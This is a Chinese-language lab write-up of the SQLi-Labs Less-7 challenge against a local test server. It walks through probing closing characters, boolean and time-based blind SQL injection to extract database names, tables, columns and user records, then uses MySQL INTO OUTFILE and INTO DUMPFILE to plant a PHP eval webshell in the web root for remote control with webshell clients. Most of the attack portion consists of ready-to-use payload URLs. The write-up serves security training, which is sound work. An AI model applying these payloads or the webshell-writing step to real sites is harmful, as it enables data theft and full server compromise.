文章目录
1. SqliLab_Mysql_Injection详解_字符型注入(四)
1.1. SQL注入_布尔盲注/Mysql高权限注入-文件读写into outfile()/into dumpfile()/load_file()
1.1.1. 原理
- Mysql数据库可以导入或者导出文件,通过添加恶意代码到导出文件中(如写入webshell),并生成到指定目录下,达到上传恶意文件到服务器上的目的(如菜刀或者蚁剑连接导出文件中的一句话木马等);
- 在高版本的Mysql中添加了一个新的特性secure_file_priv,该选项限制了导入、导出文件的权限;
- into outfile()/into dumpfile()用于文件的写入,load_file()用于读取文件;(必须要有MySQL的FILE权限才能执行SELECT… INTO语句)
outfile函数可以导出多行,而dumpfile只能导出一行数据;outfile函数在将数据写到文件里时有特殊的格式转换,而dumpfile则保持原数据格式;
1.1.2. 条件
- 当前连接用户Mysql账户(current_user())具有 File_priv 权限;
- secure_file_priv变量的设置,没有限制文件的导入和导出;
- 清楚网站根目录的绝对路径,且Mysql服务所属用户(默认为mysql)对根目录具有可写权限;
secure_file_priv选项:
- 限制mysql,不允许导入 | 导出;
–secure_file_prive=null - 限制mysqld的导入 | 导出,只能发生在/tmp/目录下;
–secure_file_priv=/tmp/ - secure_file_priv的值没有具体值时,表示不对mysql的导入、导出,做限制;
–secure_file_priv=
修改该配置的位置:
linux | win |
---|---|
cat /etc/my.cnf [mysqld] secure_file_priv= | my.ini [mysqld] secure_file_priv= |
Mysql查看secure_file_priv状态(没有设置其值为null)
> select @@global.secure_file_priv;
----------------------------------------
> show global variables like '%secure%';
2. SqliLab关卡(包含7)(图片占据空间太大,payload具体返回情况均写在每条payload下的注释中)
2.1. SqliLab-7(高权限注入/盲注(’))闭合)):
2.1.1. 初始界面
2.1.2. 判断注入点(关键步骤)
由初始界面显示知道,可以看到‘id’为输入参数,所以构造判断注入点链接;
尝试使用一般的单引号(’)闭合参数,由于之前遇到过没有使用闭合字符的例子,所以一开始先不使用闭合字符进行判断;
EG:
> http://192.168.1.104/sql/Less-7/?id=1 and 1=1 --+
//服务器返回页面正确(预期正确),尝试用(and 1=2)进行构造;
------------------------------------------------------------------
> http://192.168.1.104/sql/Less-7/?id=1 and 1=2 --+
//服务器返回页面正确(预期错误),尝试用(')代替()进行构造;
------------------------------------------------------------------
> http://192.168.1.104/sql/Less-7/?id=1' and 1=1 --+
//服务器返回页面错误(预期正确),尝试用(")代替(')进行构造;
------------------------------------------------------------------
> http://192.168.1.104/sql/Less-7/?id=1" and 1=1 --+
//服务器返回页面正确(预期正确),尝试用(and 1=2)进行构造;
------------------------------------------------------------------
> http://192.168.1.104/sql/Less-7/?id=1" and 1=2 --+
//服务器返回页面正确(预期错误),尝试用('')代替(")进行构造;
------------------------------------------------------------------
> http://192.168.1.104/sql/Less-7/?id=1'' and 1=1 --+
//服务器返回页面正确(预期正确),尝试用(and 1=2)进行构造;
------------------------------------------------------------------
> http://192.168.1.104/sql/Less-7/?id=1'' and 1=2 --+
//服务器返回页面正确(预期错误),尝试用('")代替('')进行构造;
------------------------------------------------------------------
> http://192.168.1.104/sql/Less-7/?id=1'" and 1=1 --+
//服务器返回页面错误(预期正确),尝试用("')代替('")进行构造;
------------------------------------------------------------------
> http://192.168.1.104/sql/Less-7/?id=1"' and 1=1 --+
//服务器返回页面错误(预期正确),尝试用("")代替("')进行构造;
------------------------------------------------------------------
> http://192.168.1.104/sql/Less-7/?id=1"" and 1=1 --+
//服务器返回页面正确(预期正确),尝试用(and 1=2)进行构造;
------------------------------------------------------------------
> http://192.168.1.104/sql/Less-7/?id=1"" and 1=2 --+
//服务器返回页面正确(预期错误),尝试用('))代替("")进行构造;
------------------------------------------------------------------
> http://192.168.1.104/sql/Less-7/?id=1') and 1=1 --+
//服务器返回页面错误(预期正确),尝试用("))代替('))进行构造;
------------------------------------------------------------------
> http://192.168.1.104/sql/Less-7/?id=1") and 1=1 --+
//服务器返回页面正确(预期正确),尝试用(and 1=2)进行构造;
------------------------------------------------------------------
> http://192.168.1.104/sql/Less-7/?id=1") and 1=2 --+
//服务器返回页面正确(预期错误),尝试用()')代替("))进行构造;
------------------------------------------------------------------
> http://192.168.1.104/sql/Less-7/?id=1)' and 1=1 --+
//服务器返回页面错误(预期正确),尝试用()")代替()')进行构造;
------------------------------------------------------------------
> http://192.168.1.104/sql/Less-7/?id=1)" and 1=1 --+
//服务器返回页面正确(预期正确),尝试用(and 1=2)进行构造;
------------------------------------------------------------------
> http://192.168.1.104/sql/Less-7/?id=1)" and 1=2 --+
//服务器返回页面正确(预期错误),尝试用(')))代替(')))进行构造;
------------------------------------------------------------------
> http://192.168.1.104/sql/Less-7/?id=1')) and 1=1 --+
//服务器返回页面正确(预期正确),尝试用(and 1=2)进行构造;
------------------------------------------------------------------
> http://192.168.1.104/sql/Less-7/?id=1')) and 1=2 --+
//服务器返回页面错误(预期错误),判断出参数‘id’存在注入,闭合字符为【'))】;
由此,判断出参数‘id’存在注入(or/xor一样),闭合字符为【’))】;
在注入点判断过程中,可以发现,服务器在接受请求后,返回的页面存在无回显和无报错提示的情况,这时候如果再利用UNION联合查询法查看显位以及报错注入的方式就失效了,只能基于SQL语句的True or False进行盲注了(布尔盲注或者基于时间的盲注),一般盲注流程(AD.WN:SqliLab_Mysql_Injection详解_字符型注入(三))有详细的介绍,这里只是简单提一下,主要还是后面的高权限注入-文件读写注入;
2.1.3. 收集信息
由于不存在服务器返回页面回显情况,只能使用盲注的方式获取想要的信息;
EG:
布尔盲注(使用left(),length(),ascii(),substr()/substring(), 构造链接;):
> http://192.168.1.104/sql/Less-7/?id=1')) and left(version(),1)='5' --+
//返回mysql版本的第一个字符,已查询到为(5);
------------------------------------------------------------------------------------
> http://192.168.1.104/sql/Less-7/?id=1')) and length(user())='5' --+
//返回数据库当前用户名的长度,已查询到为(5);
------------------------------------------------------------------------------------
> http://192.168.1.104/sql/Less-7/?id=1')) and ascii(substr(@@datadir,1,1))='71' --+
//返回数据库安装路径的第一个字符的ASCII值,已查询到为(71),转换字符为(G);
------------------------------------------------------------------------------------
...
查询到一些数据库信息如,数据库版本,用户,数据库安装路径等;
EG:
时间盲注(使用left(),length(),ascii(),substr()/substring(),if(),sleep() 构造链接;)(简单提一下):
> http://192.168.1.104/sql/Less-7/?id=1')) and if(left(version(),1)='5',sleep(5),1) --+
//返回mysql版本的第一个字符,已查询到为(5);
---------------------------------------------------------------------------------------------------
> http://192.168.1.104/sql/Less-7/?id=1')) and if(length(user())='5',sleep(5),1) --+
//返回数据库当前用户名的长度,已查询到为(5);
---------------------------------------------------------------------------------------------------
> http://192.168.1.104/sql/Less-7/?id=1')) and if(ascii(substr(@@datadir,1,1))='71',sleep(5),1) --+
//返回数据库安装路径的第一个字符的ASCII值,已查询到为(71),转换字符为(G);
---------------------------------------------------------------------------------------------------
...
查询到一些数据库信息如,数据库版本,用户,数据库安装路径等;
2.1.4. 求当前数据库名(字符或者ASCII值)
使用left()函数(求字符)(a~z,A~Z)或者用ascii()函数和substr(string,start,len)/substring(string,start,len) 函数(求ASCII值(共128个))(65~122),得到ASCII值再转换成字符;
求字符:
EG:
> http://192.168.1.104/sql/Less-7/?id=1')) and left(database(),1)='s'--+
//返回当前数据库名的第一个字符,已查询到为(s);
----------------------------------------------------------------------
...
查询到当前数据库名的值为(security);
求ASCII值:
EG:
> http://192.168.1.104/sql/Less-7/?id=1')) and ascii(substr(database(),1,1))='115'--+
//返回当前数据库名的第一个字符的ASCII值,已查询到为(115),转换字符为(s);
-------------------------------------------------------------------------------------
...
依次得到数据库名的字符的ASCII值为(115,101,99,117,114,105,116,121)转换字符为(security);
2.1.5. 求当前数据库中表的数量
使用count()函数求数据库中的表的数量;
EG:
> http://192.168.1.104/sql/Less-7/?id=1')) and (select count(table_name) from information_schema.tables
where table_schema=database())=4--+
//返回当前数据库中表的数量,已查询到为(4);
-------------------------------------------------------------------------------------------------------
当前数据库中表的数量为(4);
2.1.6. 求当前数据库中的各个表的长度
使用length()函数判断数据库中表的长度,使用limit来选择要判断的表;
EG:
> http://192.168.1.104/sql/Less-7/?id=1')) and length((select table_name from information_schema.tables
where table_schema=database() limit 0,1))=6 --+
// 返回当前数据库中的第一个表的长度,已查询到为(6);
-------------------------------------------------------------------------------------------------------
...
查询到当前数据库‘security’中的各个表的长度依次为(6,8,7,5);
2.1.7. 求当前数据库中的各个表的表名(字符或者ASCII值)
使用left()函数(求字符)(a~z,A~Z)或者用ascii()函数和substr(string,start,len)/substring(string,start,len) 函数(求ASCII值(共128个))(65~122),得到ASCII值再转换成字符;
求字符:
EG:
> http://192.168.1.104/sql/Less-7/?id=1')) and left((select table_name from information_schema.tables
where table_schema=database() limit 0,1),1)='e' --+
//返回当前数据库中的第一个表的表名的第一个字符;已查询到为(e);
-----------------------------------------------------------------------------------------------------
...
查询到‘security’数据库四个表的表名分别为(emails,referers,uagents,users);
求ASCII值:
EG:
> http://192.168.1.104/sql/Less-7/?id=1')) and ascii(substr((select table_name from information_schema.tables
where table_schema=database() limit 0,1),1,1))=101 --+
-------------------------------------------------------------------------------------------------------------
//返回当前数据库中的第一个表的表名的第一个字符的ASCII值;已查询到为(101)转换字符为(e);
...
查询到‘security’数据库四个表的表名分别为(emails,referers,uagents,users);
2.1.8. 求‘users’表中的字段数量
使用count()函数求‘users’表中的字段的数量;
EG:
> http://192.168.1.104/sql/Less-7/?id=1')) and (select count(column_name) from information_schema.columns
where table_name='users')=3--+
//返回‘users’表中的字段数量,已查询到为(3);
查询到users’表中的字段数量为(3);
2.1.9. 求‘users’表中的各个字段的长度
使用length()函数判断数据库中表的长度,使用limit来选择要判断的表;
EG:
> http://192.168.1.104/sql/Less-7/?id=1')) and length((select column_name from information_schema.columns
where table_name='users' limit 0,1))=2 --+
//返回‘users’表的第一个字段的长度,已查询到为(2);
---------------------------------------------------------------------------------------------------------
...
查询到‘users’表中的各个字段的长度依次为(2,8,8);
2.1.10. 求‘users’表中的各个字段的值(字符或者ASCII值)
使用left()函数(求字符)(a~z,A~Z)或者用ascii()函数和substr(string,start,len)/substring(string,start,len) 函数(求ASCII值(共128个))(65~122),得到ASCII值再转换成字符;
求ASCII值:
EG:
> http://192.168.1.104/sql/Less-7/?id=1')) and ascii(substr((select column_name from information_schema.columns
where table_name='users' limit 0,1),1,1))=105 --+
//返回‘users’表的第一个字段的第一个字符的ASCII值,已查询到为(105),转换字符为(i);
---------------------------------------------------------------------------------------------------------------
...
查询到‘users’表中的三个字段的值依次为(id,username,password);
2.1.11. 求‘users’表中的各个字段的值的信息(字符或者ASCII值)
使用left()函数(求字符)(a~z,A~Z,0~9)或者用ascii()函数和substr(string,start,len)/substring(string,start,len) 函数(求ASCII值(共128个)),得到ASCII值再转换成字符;
求‘users’表中的第一个字段‘id’的第一条信息;
求ASCII值:
EG:
> http://192.168.1.104/sql/Less-7/?id=1')) and ascii(substr((select id from users limit 0,1),1,1))=49--+
//返回‘users’表的第一个字段‘id’的第一条信息的第一个字符的ASCII值,已查询到为(49),转换为字符为(1);
--------------------------------------------------------------------------------------------------------
...
同理对于字段(username,password)的值信息也是采取一样的方式进行查询,查询其他的值也是同上面的方法一致;到此,SQL注入(布尔盲注)基础流程差不多就结束了,所需要的信息(数据库信息,表字段值等)差不多都已经搜集到了,但是本篇最重要的内容现在才开始;
输入id正确后,服务器返回页面有明显的提示,可以尝试使用outfile进行注入,但要满足上述的三个条件;
**第一个条件:**当前连接用户Mysql账户(current_user())具有 File_priv 权限;
EG:
> http://192.168.1.104/sql/Less-7/?id=1')) union select 1,2,(select count(*) from mysql.user )>0--+
//服务器返回页面正确,当前用户能够执行mysql.user表的权限(测试用的root用户。。。);
**第二个条件:**secure_file_priv变量的设置,没有限制文件的导入和导出(值不为null);
EG:
> select @@global.secure_file_priv;
//查看@@secure_file_priv变量值;
----------------------------------------
> show global variables like '%secure%';
//查看@@secure_file_priv变量值;
@@secure_file_priv变量值不为null;
**第三个条件:**清楚网站根目录的绝对路径;
EG:
> http://192.168.1.104/sql/Less-7/?id=1')) and ascii(substr(@@datadir,1,1))='71' --+
//返回数据库安装路径的第一个字符的ASCII值,已查询到为(71),转换字符为(G);
------------------------------------------------------------------------------------
...
得到数据库安装路径为(G:\Phpstudy\MySQL\data\),可以判断服务器网站使用的是phpstudy搭配的环境,由此网站根目录猜测是(G:\Phpstudy\www\),结合URL地址,可以猜测到现在所处服务器文件位置为(G:\Phpstudy\www\sql\Less-7\);
EG:
使用into outfile()尝试写入经典一句话("<?php @eval($_POST['cms']); ?>);
> http://192.168.1.104/sql/Less-7/?id=1')) and (('1'))=(('2')) union select 0x7c,"<?php @eval($_POST['cms']); ?>",
0x7c into outfile "G:/Phpstudy/WWW/sql/Less-7/1.php" --+
//可以用工具连接一句话的方式来判断写入是否成功
EG:
使用into dumpfile()尝试写入经典一句话("<?php @eval($_POST['cms']); ?>);
> http://192.168.1.104/sql/Less-7/?id=1')) and (('1'))=(('2')) union select 0x7c,"<?php @eval($_POST['cms']); ?>",
0x7c into dumpfile "G:/Phpstudy/WWW/sql/Less-7/2.php" --+
//可以用工具连接一句话的方式来判断写入是否成功
服务器被写入文件:
可以用工具连接一句话的方式来判断写入是否成功如菜刀,蚁剑等:
使用成功连接上一句话,说明此次文件写入成功,文件注入的过程到此结束,SqliLab-7结束;
3. 总结
经过上面的注入操作后,不难发现,在整个注入的过程中,判断注入点的时候是最为困难的,找到了注入点和闭合字符,后面的操作都是固定的模式了(构造的payload都是在添加注入点参数的闭合字符有所不同,其他都是相同的),只是采用注入的方式有所不同而已,而且在判断注入点的时候根据规律,可以编写脚本来进行判断(改变闭合字符的组合方式),这样可以极大的减少注入点判断时间和提高效率,最后有关文件注入,都是在特定的条件下才能进行,而且大都是在SQL注入的后期才会尝试的操作,不过这种操作一旦成功,对服务器的后续危害更大。
[如有错误,请指出,拜托了<( _ _ )> !!!]